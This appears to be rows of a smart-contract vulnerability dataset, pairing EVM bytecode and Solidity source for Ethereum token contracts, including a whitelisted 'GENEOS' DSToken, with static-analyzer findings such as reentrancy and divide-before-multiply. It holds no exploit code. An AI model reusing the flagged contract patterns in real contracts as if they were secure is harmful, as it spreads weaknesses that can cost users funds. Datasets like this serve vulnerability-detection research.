0x6060604052600436106101b65763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304994883811461050757806306fdde0314610536578063095ea7b3146105c05780630f1df574146105f657806318160ddd146106005780631b1b60691461062557806323b872dd1461063857806327a3181d1461066057806327e235e314610673578063313ce56714610692578063369f927f146106a55780633ba0b9a9146106b857806345ad35bc146106cb5780634ea2ea9f146106de57806355a392ac146106f15780636caf25ce146107045780636cf1a4521461071757806370a082311461072d57806384dd43321461074c57806385c09f261461075f5780638da5cb5b1461077257806395d89b4114610785578063a347ef8414610798578063a4430321146107b1578063a6f9dae1146107c4578063a9059cbb146107e3578063c2362dd514610805578063dc57d55314610818578063dd62ed3e1461082b578063e3b5a15314610850578063f05a781d14610863578063f1ce37d914610876578063f21b64ad14610889578063f52f252614610894578063fcd41c1f146108aa575b600080600080600080600b54421015156101cf57600080fd5b600754600854116101df57600080fd5b600095506101ec436108bd565b60175490955085146102465761021c601254600f54600f54601254430381151561021257fe5b04600101026108f4565b601255610227610918565b5061023485601754610a0a565b60155560178590556000601655600195505b34935060155461025b85600654600a0a610a9d565b81151561026457fe5b6006549190049350600a0a83101561027b57600080fd5b60085461028a600754856108f4565b11156102a15761029e600854600754610abe565b92505b6102c684600654600a0a6102b786601554610a9d565b8115156102c057fe5b04610abe565b9150600082111561030257600160a060020a03331682156108fc0283604051600060405180830381858888f19350505050151561030257600080fd5b600e54600160a060020a03166108fc61031b8685610abe565b9081150290604051600060405180830381858888f19350505050151561034057600080fd5b600160a060020a03331660009081526009602052604090205461036390846108f4565b600160a060020a03331660009081526009602052604090205560075461038990846108f4565b600755600160a060020a033381169030167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405190815260200160405180910390a3601854600160a060020a03161580156103e65750601754155b156103f057600195505b85156104b657506000600a60028402049050600854610411600754836108f4565b111561042857610425600854600754610abe565b90505b600160a060020a03331660009081526009602052604090205461044b90826108f4565b600160a060020a03331660009081526009602052604090205560075461047190826108f4565b600755600160a060020a033381169030167f6b053894d8fdbdcc936dd753e21291f0c48e68ef12306eb39a63a374147ba4bd8360405190815260200160405180910390a35b6016805460010190556018805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a031617905560198390556012546010546104fc91906108f4565b601255505050505050005b341561051257600080fd5b61051a610ad5565b604051600160a060020a03909116815260200160405180910390f35b341561054157600080fd5b610549610ae4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561058557808201518382015260200161056d565b50505050905090810190601f1680156105b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105cb57600080fd5b6105e2600160a060020a0360043516602435610b82565b604051901515815260200160405180910390f35b6105fe610bee565b005b341561060b57600080fd5b610613610c44565b60405190815260200160405180910390f35b341561063057600080fd5b610613610c4a565b341561064357600080fd5b6105e2600160a060020a0360043581169060243516604435610c50565b341561066b57600080fd5b610613610d61565b341561067e57600080fd5b610613600160a060020a0360043516610d67565b341561069d57600080fd5b610613610d79565b34156106b057600080fd5b610613610d7f565b34156106c357600080fd5b610613610d85565b34156106d657600080fd5b61051a610d8b565b34156106e957600080fd5b6105e2610d9a565b34156106fc57600080fd5b610613610dd5565b341561070f57600080fd5b610613610ddb565b341561072257600080fd5b6105fe600435610de1565b341561073857600080fd5b610613600160a060020a0360043516610e1c565b341561075757600080fd5b610613610e37565b341561076a57600080fd5b610613610e3d565b341561077d57600080fd5b61051a610e43565b341561079057600080fd5b610549610e52565b34156107a357600080fd5b610613600435602435610a0a565b34156107bc57600080fd5b610613610ebd565b34156107cf57600080fd5b6105e2600160a060020a0360043516610ec3565b34156107ee57600080fd5b6105e2600160a060020a0360043516602435610f2a565b341561081057600080fd5b610613610fe7565b341561082357600080fd5b610613610fed565b341561083657600080fd5b610613600160a060020a0360043581169060243516610ff3565b341561085b57600080fd5b61061361101e565b341561086e57600080fd5b6105e2611024565b341561088157600080fd5b6106136110ce565b6105fe6004356110d4565b341561089f57600080fd5b6105e2600435611105565b34156108b557600080fd5b61051a611321565b6000816012541015156108d357506017546108ef565b600f5460125483038115156108e457fe5b046017540160010190505b919050565b60008282018381108015906109095750828110155b151561091157fe5b9392505050565b6000806016546001141561092f5760009150610a06565b600090506000601954111561094b57601954600a906002020490505b60085461095a600754836108f4565b11156109715761096e600854600754610abe565b90505b601854600160a060020a031660009081526009602052604090205461099690826108f4565b601854600160a060020a03166000908152600960205260409020556007546109be90826108f4565b600755601854600160a060020a039081169030167f6b053894d8fdbdcc936dd753e21291f0c48e68ef12306eb39a63a374147ba4bd8360405190815260200160405180910390a35b5090565b6000808080848603819011610a1e57600080fd5b505050606482840381810491820290039060005b81811015610a6157601380546064600582020490039055601480546103e8600782020490039055600101610a32565b601380546127106005868302020490039055601454620186a0908402600702046014540360148190555060145460135401935050505092915050565b60008282028315806109095750828482811515610ab657fe5b041461091157fe5b600082821115610aca57fe5b508082035b92915050565b600d54600160a060020a031681565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b7a5780601f10610b4f57610100808354040283529160200191610b7a565b820191906000526020600020905b815481529060010190602001808311610b5d57829003601f168201915b505050505081565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005433600160a060020a03908116911614610c0957600080fd5b600e54600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610c4257600080fd5b565b60075481565b60115481565b600160a060020a038316600090815260096020526040812054829010801590610ca05750600160a060020a038085166000908152600a602090815260408083203390941683529290522054829010155b8015610cc65750600160a060020a03831660009081526009602052604090205482810110155b15610d5757600160a060020a03808416600081815260096020908152604080832080548801905588851680845281842080548990039055600a83528184203390961684529490915290819020805486900390559091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001610911565b5060009392505050565b60145481565b60096020526000908152604090205481565b60065481565b600f5481565b600c5481565b601854600160a060020a031681565b6000805433600160a060020a03908116911614610db657600080fd5b610dc243600f546108f4565b601255610dcd610918565b506001905090565b600b5481565b60135481565b60005433600160a060020a03908116911614610dfc57600080fd5b600c54811415610e0b57600080fd5b801515610e1757600080fd5b600c55565b600160a060020a031660009081526009602052604090205490565b60195481565b60085481565b600054600160a060020a031681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b7a5780601f10610b4f57610100808354040283529160200191610b7a565b60155481565b6000805433600160a060020a03908116911614610edf57600080fd5b600054600160a060020a0383811691161415610efa57600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b600160a060020a033316600090815260096020526040812054829010801590610f6d5750600160a060020a03831660009081526009602052604090205482810110155b15610fdf57600160a060020a033381166000818152600960205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001610acf565b506000610acf565b60125481565b60175481565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b60165481565b60015460009033600160a060020a0390811691161461104257600080fd5b6000546001547fa6348c80a3dfb1c2603f5c35480c5bd8afc0656ad83dc6b520b648cb286d541791600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a150600180546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905590565b60105481565b600e5433600160a060020a039081169116146110ef57600080fd5b60065460088054600a9290920a92909202019055565b6000806000600b544210151561111a57600080fd5b600160a060020a03331660009081526009602052604090205484111561113f57600080fd5b61114f84655af3107a4000610a9d565b9150600160a060020a033016318290101561116957600080fd5b61117d84600c54655af3107a400002610a9d565b600d54600e54919250600160a060020a03908116916323b872dd91339116846040517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561120457600080fd5b5af1151561121157600080fd5b50505060405180511515600114905061122957600080fd5b600160a060020a03331660009081526009602052604090205461124c9085610abe565b600160a060020a0333811660009081526009602052604080822093909355600e549091168152205461127e90856108f4565b600e54600160a060020a03908116600090815260096020526040908190209290925533169083156108fc0290849051600060405180830381858888f1935050505015156112ca57600080fd5b7f969e37563aed2d121a1322fb6538832cdaca9b6bc6ece15ce3dae224ba2db0be303386604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050919050565b600e54600160a060020a0316815600a165627a7a7230582067cf8faff5d95a60a01bc87262a60516ae457f717168e29361b669c9e3f36af70029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,809
0x27a7abd7428bf446628c3faf14c57baf10eb7017
pragma solidity ^0.4.11; contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract ERC20 { function totalSupply() constant returns (uint supply); function balanceOf( address who ) constant returns (uint value); function allowance( address owner, address spender ) constant returns (uint _allowance); function transfer( address to, uint value) returns (bool ok); function transferFrom( address from, address to, uint value) returns (bool ok); function approve( address spender, uint value ) returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) constant returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) auth { authority = authority_; LogSetAuthority(authority); } modifier auth { assert(isAuthorized(msg.sender, msg.sig)); _; } modifier authorized(bytes4 sig) { assert(isAuthorized(msg.sender, sig)); _; } function isAuthorized(address src, bytes4 sig) internal returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } function assert(bool x) internal { if (!x) throw; } } contract DSExec { function tryExec( address target, bytes calldata, uint value) internal returns (bool call_ret) { return target.call.value(value)(calldata); } function exec( address target, bytes calldata, uint value) internal { if(!tryExec(target, calldata, value)) { throw; } } // Convenience aliases function exec( address t, bytes c ) internal { exec(t, c, 0); } function exec( address t, uint256 v ) internal { bytes memory c; exec(t, c, v); } function tryExec( address t, bytes c ) internal returns (bool) { return tryExec(t, c, 0); } function tryExec( address t, uint256 v ) internal returns (bool) { bytes memory c; return tryExec(t, c, v); } } contract DSMath { /* standard uint256 functions */ function add(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x - y) <= x); } function mul(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x * y) >= x); } function div(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x / y; } function min(uint256 x, uint256 y) constant internal returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) constant internal returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions (h is for half) */ function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x + y) >= x); } function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x - y) <= x); } function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x * y) >= x); } function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = x / y; } function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) { return x <= y ? x : y; } function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) { return x >= y ? x : y; } /* int256 functions */ function imin(int256 x, int256 y) constant internal returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) constant internal returns (int256 z) { return x >= y ? x : y; } /* WAD math */ uint128 constant WAD = 10 ** 18; function wadd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function wsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + WAD / 2) / WAD); } function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * WAD + y / 2) / y); } function wmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function wmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } /* RAY math */ uint128 constant RAY = 10 ** 27; function radd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function rsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + RAY / 2) / RAY); } function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * RAY + y / 2) / y); } function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) { // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It&#39;s O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } function rmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function rmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } function cast(uint256 x) constant internal returns (uint128 z) { assert((z = uint128(x)) == x); } } contract DSStop is DSAuth, DSNote { bool public stopped; modifier stoppable { assert (!stopped); _; } function stop() auth note { stopped = true; } function start() auth note { stopped = false; } } contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; function DSTokenBase(uint256 supply) { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() constant returns (uint256) { return _supply; } function balanceOf(address src) constant returns (uint256) { return _balances[src]; } function allowance(address src, address guy) constant returns (uint256) { return _approvals[src][guy]; } function transfer(address dst, uint wad) returns (bool) { assert(_balances[msg.sender] >= wad); _balances[msg.sender] = sub(_balances[msg.sender], wad); _balances[dst] = add(_balances[dst], wad); Transfer(msg.sender, dst, wad); return true; } function transferFrom(address src, address dst, uint wad) returns (bool) { assert(_balances[src] >= wad); assert(_approvals[src][msg.sender] >= wad); _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function approve(address guy, uint256 wad) returns (bool) { _approvals[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } } contract WhiteList { mapping (address => bool) public whiteList; address public owner; function WhiteList() public { owner = msg.sender; whiteList[owner] = true; } function addToWhiteList(address [] _addresses) public { require(msg.sender == owner); for (uint i = 0; i < _addresses.length; i++) { whiteList[_addresses[i]] = true; } } function removeFromWhiteList(address [] _addresses) public { require (msg.sender == owner); for (uint i = 0; i < _addresses.length; i++) { whiteList[_addresses[i]] = false; } } } contract DSToken is DSTokenBase(0), DSStop { bytes32 public symbol = "GENEOS"; uint256 public decimals = 18; // standard token precision. override to customize WhiteList public wlcontract; function DSToken(WhiteList wlc_) { require(msg.sender == wlc_.owner()); wlcontract = wlc_; } function transfer(address dst, uint wad) stoppable note returns (bool) { require(wlcontract.whiteList(msg.sender)); require(wlcontract.whiteList(dst)); return super.transfer(dst, wad); } function transferFrom( address src, address dst, uint wad ) stoppable note returns (bool) { require(wlcontract.whiteList(src)); require(wlcontract.whiteList(dst)); return super.transferFrom(src, dst, wad); } function approve(address guy, uint wad) stoppable note returns (bool) { require(wlcontract.whiteList(msg.sender)); require(wlcontract.whiteList(guy)); return super.approve(guy, wad); } function push(address dst, uint128 wad) returns (bool) { return transfer(dst, wad); } function pull(address src, uint128 wad) returns (bool) { return transferFrom(src, msg.sender, wad); } function mint(uint128 wad) auth stoppable note { require(wlcontract.whiteList(msg.sender)); _balances[msg.sender] = add(_balances[msg.sender], wad); _supply = add(_supply, wad); } function burn(uint128 wad) auth stoppable note { require(wlcontract.whiteList(msg.sender)); _balances[msg.sender] = sub(_balances[msg.sender], wad); _supply = sub(_supply, wad); } // Optional token name bytes32 public name = ""; function setName(bytes32 name_) auth { name = name_; } }
0x60606040523615610126576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063021979c31461012857806306fdde031461017a57806307da68f5146101a8578063095ea7b3146101ba57806313af40351461021157806318160ddd1461024757806323b872dd1461026d578063313ce567146102e35780633452f51d146103095780635ac801fe1461037257806369d3e20e1461039657806370a08231146103c857806375f12b21146104125780637a9e5e4b1461043c5780638402181f146104725780638da5cb5b146104db57806390bc16931461052d57806395d89b411461055f578063a9059cbb1461058d578063be9a6555146105e4578063bf7e214f146105f6578063dd62ed3e14610648575bfe5b341561013057fe5b6101386106b1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018257fe5b61018a6106d7565b60405180826000191660001916815260200191505060405180910390f35b34156101b057fe5b6101b86106dd565b005b34156101c257fe5b6101f7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e1565b604051808215151515815260200191505060405180910390f35b341561021957fe5b610245600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a8b565b005b341561024f57fe5b610257610b6f565b6040518082815260200191505060405180910390f35b341561027557fe5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b7a565b604051808215151515815260200191505060405180910390f35b34156102eb57fe5b6102f3610e26565b6040518082815260200191505060405180910390f35b341561031157fe5b610358600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356fffffffffffffffffffffffffffffffff16906020019091905050610e2c565b604051808215151515815260200191505060405180910390f35b341561037a57fe5b610394600480803560001916906020019091905050610e53565b005b341561039e57fe5b6103c660048080356fffffffffffffffffffffffffffffffff16906020019091905050610e99565b005b34156103d057fe5b6103fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611145565b6040518082815260200191505060405180910390f35b341561041a57fe5b61042261118f565b604051808215151515815260200191505060405180910390f35b341561044457fe5b610470600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a2565b005b341561047a57fe5b6104c1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356fffffffffffffffffffffffffffffffff16906020019091905050611286565b604051808215151515815260200191505060405180910390f35b34156104e357fe5b6104eb6112ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053557fe5b61055d60048080356fffffffffffffffffffffffffffffffff169060200190919050506112d4565b005b341561056757fe5b61056f611580565b60405180826000191660001916815260200191505060405180910390f35b341561059557fe5b6105ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611586565b604051808215151515815260200191505060405180910390f35b34156105ec57fe5b6105f4611830565b005b34156105fe57fe5b610606611934565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065057fe5b61069b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061195a565b6040518082815260200191505060405180910390f35b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b61071361070e336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a46001600460146101000a81548160ff0219169083151502179055505b5b50505b565b60006107fc600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561096a57fe5b6102c65a03f1151561097857fe5b50505060405180519050151561098e5760006000fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1866000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610a5057fe5b6102c65a03f11515610a5e57fe5b505050604051805190501515610a745760006000fd5b610a7e8585611c55565b92505b5b50505b92915050565b610ac1610abc336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9460405180905060405180910390a25b5b50565b600060005490505b90565b6000610b95600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1876000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610d0357fe5b6102c65a03f11515610d1157fe5b505050604051805190501515610d275760006000fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1866000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610de957fe5b6102c65a03f11515610df757fe5b505050604051805190501515610e0d5760006000fd5b610e18868686611d48565b92505b5b50505b9392505050565b60065481565b6000610e4a83836fffffffffffffffffffffffffffffffff16611586565b90505b92915050565b610e89610e84336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b80600881600019169055505b5b50565b610ecf610eca336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b610ee8600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561105657fe5b6102c65a03f1151561106457fe5b50505060405180519050151561107a5760006000fd5b6110d5600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846fffffffffffffffffffffffffffffffff166120ac565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611136600054846fffffffffffffffffffffffffffffffff166120ac565b6000819055505b5b50505b5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600460149054906101000a900460ff1681565b6111d86111d3336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada460405180905060405180910390a25b5b50565b60006112a58333846fffffffffffffffffffffffffffffffff16610b7a565b90505b92915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61130a611305336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b611323600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561149157fe5b6102c65a03f1151561149f57fe5b5050506040518051905015156114b55760006000fd5b611510600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846fffffffffffffffffffffffffffffffff166120c6565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611571600054846fffffffffffffffffffffffffffffffff166120c6565b6000819055505b5b50505b5b50565b60055481565b60006115a1600460149054906101000a900460ff1615611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561170f57fe5b6102c65a03f1151561171d57fe5b5050506040518051905015156117335760006000fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663372c12b1866000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156117f557fe5b6102c65a03f1151561180357fe5b5050506040518051905015156118195760006000fd5b61182385856120e0565b92505b5b50505b92915050565b611866611861336000357fffffffff00000000000000000000000000000000000000000000000000000000166119e2565b611c44565b6000600060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a46000600460146101000a81548160ff0219169083151502179055505b5b50505b565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a215760019050611c3e565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a805760019050611c3e565b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ae05760009050611c3e565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b70096138430856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019350505050602060405180830381600087803b1515611c1c57fe5b6102c65a03f11515611c2a57fe5b505050604051805190509050611c3e565b5b5b5b92915050565b801515611c515760006000fd5